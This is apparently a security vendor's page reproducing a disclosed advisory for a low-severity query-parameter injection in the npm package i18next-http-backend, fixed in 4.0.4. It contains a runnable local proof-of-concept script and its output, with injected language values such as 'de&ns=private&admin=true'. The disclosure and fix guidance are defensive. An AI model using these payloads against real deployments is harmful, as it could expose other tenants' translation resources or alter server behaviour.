CVE-2026-118258

CVE-2026-118258 is a low-severity security vulnerability in i18next-http-backend (npm), affecting versions < 4.0.4. It is fixed in 4.0.4.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

i18next-http-backend: Query-parameter injection through & and = in lng when loadPath/addPath puts {{lng}} in the query string

The URL-segment check added for GHSA-q89c-q3h5-w34g blocks ?, #, %, :, / and @ in lng, but not & or =, and the checked value is inserted into the URL without encoding. The README documents a multiload loadPath of the form /locales/resources.json?lng=de+en&ns=ns1+ns2. With a template like that, an attacker who controls the language value can add or override query parameters on the request the backend sends. By default the language comes from ?lng=, a cookie or Accept-Language. This is the "query-string injection" impact described in GHSA-q89c; only the ? form was closed.

Server side (Express + i18next-http-middleware, default options), GET /?lng=de%26ns%3Dprivate%26admin%3Dtrue makes the application request …?lng=de&ns=private&admin=true&ns=common from its own translations API.

Details

The checks are in lib/utils.js. The base check (https://github.com/i18next/i18next-http-backend/blob/v4.0.3/lib/utils.js#L26-L44) rejects:

  • empty or >128-character values and prototype keys;
  • .. and \;
  • /[?#%:\s]/;
  • control characters.

isSafeLangUrlSegment (https://github.com/i18next/i18next-http-backend/blob/v4.0.3/lib/utils.js#L51-L55) adds only / and @. Neither function rejects & or =.

if (/[?#%:\s]/.test(v)) return false   // utils.js L40, no & or =

interpolateUrl then splits on +, checks each segment, and joins the raw segments into the template, with no encoding (https://github.com/i18next/i18next-http-backend/blob/v4.0.3/lib/utils.js#L159-L184, return at L174).

Call sites:

The README documents the query-shaped URL for multiloading (https://github.com/i18next/i18next-http-backend/blob/v4.0.3/README.md?plain=1#L130). The language value is attacker-controlled in normal setups, as GHSA-q89c itself says: detectors read ?lng=, cookies, localStorage and request headers. i18next-http-middleware's LanguageDetector does the same on the server.

Where ? is placed in the template determines which characters are structural. The fix treated only the path position. In a query position, & and = are the separators, so they must be rejected or encoded too.

Suggested fix. Reject & and = (and ;) in both lng and ns; no BCP-47 language code or usable i18next namespace contains them. Alternatively, encodeURIComponent each +-joined segment when the placeholder appears after ? in the template.

Proof of concept

How to run (Node 18+; everything runs on 127.0.0.1, with a fake translations API and an Express app):

  1. mkdir i18next-poc && cd i18next-poc
  2. npm init -y
  3. npm i [email protected] [email protected] [email protected] [email protected]
  4. Save the script below as poc.mjs
  5. node poc.mjs
// i18next-http-backend 4.0.3: '&' and '=' in lng pass isSafeLangUrlSegment, so a loadPath that puts
// {{lng}} in the query string (README multiload shape) gets extra parameters.
// Everything runs on 127.0.0.1: a fake translations API and an Express app.
import http from 'node:http'
import express from 'express'
import i18next from 'i18next'
import Backend from 'i18next-http-backend'
import middleware from 'i18next-http-middleware'

const seen = []
const api = http.createServer((req, res) => {
  seen.push(req.url)
  res.setHeader('content-type', 'application/json')
  res.end('{"hello":"hi"}')
})
await new Promise((r) => api.listen(0, '127.0.0.1', r))
const loadPath = `http://127.0.0.1:${api.address().port}/locales/resources.json?lng={{lng}}&ns={{ns}}`
const wait = () => new Promise((r) => setTimeout(r, 200))

// 1) Direct: lng values passed to i18next as-is.
console.log('[1] direct init')
for (const lng of ['de', 'de?admin=true', 'de&ns=private&admin=true']) {
  seen.length = 0
  await i18next.createInstance().use(Backend).init({ lng, fallbackLng: false, ns: ['common'], backend: { loadPath } })
  console.log(`    lng=${JSON.stringify(lng).padEnd(28)} -> API got: ${seen.length ? seen.join(' ') : '(no request, refused)'}`)
}

// 2) Server side: language taken from the request by i18next-http-middleware (default options).
console.log('[2] Express + i18next-http-middleware LanguageDetector')
const i18n = i18next.createInstance()
await i18n.use(Backend).use(middleware.LanguageDetector)
  .init({ fallbackLng: 'en', preload: ['en'], ns: ['common'], defaultNS: 'common', backend: { loadPath } })
const app = express()
app.use(middleware.handle(i18n))
app.get('/', (req, res) => res.send(req.t('hello')))
const web = app.listen(0, '127.0.0.1')
await new Promise((r) => web.on('listening', r))
await wait()
for (const q of ['de', 'de%26ns%3Dprivate%26admin%3Dtrue']) {
  seen.length = 0
  await fetch(`http://127.0.0.1:${web.address().port}/?lng=${q}`).then((r) => r.text())
  await wait()
  console.log(`    GET /?lng=${q.padEnd(32)} -> API got: ${seen.join(' ')}`)
}
web.close()
api.close()

Output (i18next-http-backend 4.0.3, i18next 26.5.1, i18next-http-middleware 3.9.9, Node 22):

[1] direct init
    lng="de"                         -> API got: /locales/resources.json?lng=de&ns=common
    lng="de?admin=true"              -> API got: (no request, refused)
    lng="de&ns=private&admin=true"   -> API got: /locales/resources.json?lng=de&ns=private&admin=true&ns=common
[2] Express + i18next-http-middleware LanguageDetector
    GET /?lng=de                               -> API got: /locales/resources.json?lng=de&ns=common
    GET /?lng=de%26ns%3Dprivate%26admin%3Dtrue -> API got: /locales/resources.json?lng=de&ns=private&admin=true&ns=common

The ? control is refused by the existing fix. The & form passes and reaches the API with injected ns=private&admin=true.

Maintainer note

Confirmed and fixed in 4.0.4 (commit i18next/i18next-http-backend@b0eef9e).

Preconditions. The loadPath / addPath template must put {{lng}} or {{ns}} in the query string (for example /locales/resources.json?lng={{lng}}&ns={{ns}}, the multiload shape), and the attacker must control the language or namespace value. The default /locales/{{lng}}/{{ns}}.json and other path-only templates are not affected, nor are applications that restrict languages with supportedLngs. The impact depends on what the translations API does with the injected parameters.

Fix. &, = and ; are now rejected in both lng and ns values, in addition to the ?, #, % and : rejected before. No language code or usable namespace name contains them. +-joined multiload values such as de+en keep working, verified end to end with i18next-multiload-backend-adapter.

Affected range. Versions before 3.0.5 had no value validation at all and are reachable through this vector too, so the affected range is < 4.0.4.

Related. i18next-locize-backend had the same gap with custom query-shaped templates (its default paths are not affected). It is fixed in i18next-locize-backend 10.0.4.

Impact

This is injection of query parameters (CWE-74, HTTP parameter pollution) into the backend's outgoing requests:

  • Server side (SSR, Node, i18next-http-middleware): an unauthenticated visitor can make the application server send requests to its internal or partner translations API with parameters of the visitor's choosing. The visitor can override existing ones (ns, version, tenant, feature flags, cache keys) using the server's network position and credentials. Depending on how that API branches on its parameters, this can expose other namespaces or tenants' resources, or change server-side behaviour.
  • Browser side: a crafted link (?lng=…) does the same to the victim's same-origin request.

Applications using the default path template /locales/{{lng}}/{{ns}}.json, or a supportedLngs allowlist, are not affected.

credit to Adrian Korwel.

CVE-2026-118258 has a CVSS score of 3.7 (Low). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.0.4); upgrading removes the vulnerable code path.

Affected versions

i18next-http-backend (< 4.0.4)

Security releases

i18next-http-backend → 4.0.4 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade i18next-http-backend to 4.0.4 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-118258? CVE-2026-118258 is a low-severity security vulnerability in i18next-http-backend (npm), affecting versions < 4.0.4. It is fixed in 4.0.4.
  2. How severe is CVE-2026-118258? CVE-2026-118258 has a CVSS score of 3.7 (Low). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of i18next-http-backend are affected by CVE-2026-118258? i18next-http-backend (npm) versions < 4.0.4 is affected.
  4. Is there a fix for CVE-2026-118258? Yes. CVE-2026-118258 is fixed in 4.0.4. Upgrade to this version or later.
  5. Is CVE-2026-118258 exploitable, and should I be worried? Whether CVE-2026-118258 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-118258 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-118258? Upgrade i18next-http-backend to 4.0.4 or later.

Other vulnerabilities in i18next-http-backend

Stop the waste.
Protect your environment with Kodem.